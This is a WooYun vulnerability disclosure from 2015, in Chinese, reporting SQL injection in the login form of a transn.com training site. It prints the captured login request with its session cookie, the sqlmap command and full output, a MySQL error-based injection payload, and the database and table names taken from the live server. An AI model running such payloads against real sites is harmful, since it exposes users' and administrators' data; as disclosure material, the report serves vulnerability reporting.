当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134819

漏洞标题:传神旗下某站点SQL注射(涉及6库252表)

相关厂商:transn.com

漏洞作者: 路人甲

提交时间:2015-08-18 14:47

修复时间:2015-08-23 14:48

公开时间:2015-08-23 14:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-18: 细节已通知厂商并且等待厂商处理中
2015-08-23: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

传神旗下某站点SQL注射

详细说明:

kjds.cn

1.jpg


POST注入

POST /user/login HTTP/1.1
Host: kjds.cn
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://kjds.cn/user/login
Content-Length: 51
Cookie: Hm_lvt_bd9b66d5124b857c1cbd6ee3f043afb5=1439623342,1439623359,1439623369,1439623398; is_click=yes; x6cmssession=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%220951597975bd6c444a066f881b32786e%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A11%3A%2227.42.98.22%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A72%3A%22Mozilla%2F5.0+%28Windows+NT+6.3%3B+WOW64%3B+rv%3A40.0%29+Gecko%2F20100101+Firefox%2F40.0%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1439623314%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D31363bcd76355d2c974b25dfaf37c3ab; Hm_lpvt_bd9b66d5124b857c1cbd6ee3f043afb5=1439623439
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
joincode=&sendcode=&user_name=admin&password=111111
user_name存在注入
<code>


python sqlmap.py -r 123.txt -p user_name
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150803}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user'
s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 18:59:45
[18:59:45] [INFO] parsing HTTP request from '123.txt'
[18:59:46] [INFO] testing connection to the target URL
[18:59:46] [INFO] heuristics detected web page charset 'ascii'
you provided a HTTP Cookie header value. The target URL provided its own cookies within the HTTP Set-Cookie header which
intersect with yours. Do you want to merge them in futher requests? [Y/n] y
[18:59:48] [INFO] testing if the target URL is stable
[18:59:49] [INFO] target URL is stable
[18:59:49] [WARNING] heuristic (basic) test shows that POST parameter 'user_name' might not be injectable
[18:59:49] [INFO] heuristic (XSS) test shows that POST parameter 'user_name' might be vulnerable to XSS attacks
[18:59:49] [INFO] testing for SQL injection on POST parameter 'user_name'
[18:59:49] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:59:53] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[18:59:53] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[18:59:54] [WARNING] reflective value(s) found and filtering out
[18:59:54] [INFO] POST parameter 'user_name' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clau
se' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values?
[Y/n] y
[18:59:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[18:59:56] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one othe
r (potential) technique found
[18:59:57] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of
query columns. Automatically extending the range for current UNION query injection technique test
[18:59:58] [INFO] target URL appears to have 29 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y
/n] y
[19:00:43] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--db
ms=mysql')
POST parameter 'user_name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 141 HTTP(s) requests:
---
Parameter: user_name (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: joincode=&sendcode=&user_name=admin') AND (SELECT 9789 FROM(SELECT COUNT(*),CONCAT(0x716b717671,(SELECT (EL
T(9789=9789,1))),0x716a6b6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('oOWl'='oOWl&
password=111111
---
[19:00:47] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.3.17
back-end DBMS: MySQL 5.0
[19:00:47] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 4 times
[19:00:47] [INFO] fetched data logged to text files under
[*] shutting down at 19:00:47
</code>

漏洞证明:

available databases [6]:
[*] information_schema
[*] kjds_study
[*] mysql
[*] test
[*] transn_dspx
[*] wx.kjds.cn


Database: transn_dspx
[82 tables]
+---------------------------------------+
| et_apply |
| et_ci_sessions |
| et_course_chapter |
| et_course_data |
| et_exam_paper |
| et_exam_paper_question |
| et_exam_type |
| et_feedback |
| et_file |
| et_question |
| et_role |
| et_transcript |
| et_user |
| et_user_store |
| et_user_token |
| lee_address |
| lee_analysis |
| lee_apply |
| lee_apply_c |
| lee_area |
| lee_article |
| lee_article_comment |
| lee_ask |
| lee_ask_comment |
| lee_assessment |
| lee_category |
| lee_config |
| lee_down |
| lee_dragon |
| lee_fav |
| lee_feedback |
| lee_fragment |
| lee_guestbook |
| lee_hr |
| lee_industry |
| lee_invitation |
| lee_invitation_type |
| lee_inviter |
| lee_job_seed |
| lee_jobs |
| lee_keywords |
| lee_lang |
| lee_level |
| lee_link |
| lee_log |
| lee_model |
| lee_money_change |
| lee_msg |
| lee_navigation |
| lee_online |
| lee_order |
| lee_position |
| lee_product |
| lee_purview |
| lee_question |
| lee_question_type |
| lee_recommend |
| lee_rss |
| lee_score |
| lee_search |
| lee_sessions |
| lee_slide |
| lee_soft |
| lee_taglist |
| lee_tags |
| lee_team |
| lee_team_article |
| lee_team_invite |
| lee_team_member |
| lee_team_praise |
| lee_token |
| lee_tpltags |
| lee_type |
| lee_user |
| lee_user_company |
| lee_user_detail |
| lee_user_money |
| lee_user_score |
| lee_user_soft |
| lee_user_train |
| lee_usergroup |
| lee_weixin |
+---------------------------------------+
Database: kjds_study
[15 tables]
+---------------------------------------+
| et_apply |
| et_ci_sessions |
| et_course_chapter |
| et_course_data |
| et_exam_paper |
| et_exam_paper_question |
| et_exam_type |
| et_feedback |
| et_file |
| et_question |
| et_role |
| et_transcript |
| et_user |
| et_user_store |
| et_user_token |
+---------------------------------------+
Database: wx.kjds.cn
[104 tables]
+---------------------------------------+
| v9_admin |
| v9_admin_panel |
| v9_admin_role |
| v9_admin_role_priv |
| v9_announce |
| v9_attachment |
| v9_attachment_index |
| v9_badword |
| v9_block |
| v9_block_history |
| v9_block_priv |
| v9_cache |
| v9_category |
| v9_category_priv |
| v9_collection_content |
| v9_collection_history |
| v9_collection_node |
| v9_collection_program |
| v9_comment |
| v9_comment_check |
| v9_comment_data_1 |
| v9_comment_setting |
| v9_comment_table |
| v9_content_check |
| v9_copyfrom |
| v9_datacall |
| v9_dbsource |
| v9_download |
| v9_download_data |
| v9_downservers |
| v9_extend_setting |
| v9_favorite |
| v9_hits |
| v9_ipbanned |
| v9_keylink |
| v9_keyword |
| v9_keyword_data |
| v9_link |
| v9_linkage |
| v9_log |
| v9_member |
| v9_member_detail |
| v9_member_group |
| v9_member_menu |
| v9_member_verify |
| v9_member_vip |
| v9_menu |
| v9_message |
| v9_message_data |
| v9_message_group |
| v9_model |
| v9_model_field |
| v9_module |
| v9_mood |
| v9_news |
| v9_news_data |
| v9_page |
| v9_pay_account |
| v9_pay_payment |
| v9_pay_spend |
| v9_picture |
| v9_picture_data |
| v9_position |
| v9_position_data |
| v9_poster |
| v9_poster_space |
| v9_queue |
| v9_release_point |
| v9_search |
| v9_search_keyword |
| v9_session |
| v9_site |
| v9_sms_report |
| v9_special |
| v9_special_c_data |
| v9_special_content |
| v9_sphinx_counter |
| v9_sso_admin |
| v9_sso_applications |
| v9_sso_members |
| v9_sso_messagequeue |
| v9_sso_session |
| v9_sso_settings |
| v9_tag |
| v9_template_bak |
| v9_times |
| v9_type |
| v9_urlrule |
| v9_video |
| v9_video_content |
| v9_video_data |
| v9_video_store |
| v9_vote_data |
| v9_vote_option |
| v9_vote_subject |
| v9_wap |
| v9_wap_type |
| v9_workflow |
| v9_wx_client |
| v9_wx_coupon |
| v9_wx_dictate |
| v9_wx_dictate_item |
| v9_wx_menu |
| v9_wx_setup |
+---------------------------------------+
Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
Database: mysql
[23 tables]
+---------------------------------------+
| user |
| columns_priv |
| db |
| event |
| func |
| general_log |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| ndb_binlog_index |
| plugin |
| proc |
| procs_priv |
| servers |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
+---------------------------------------+

wooyun.jpg

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-08-23 14:48

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无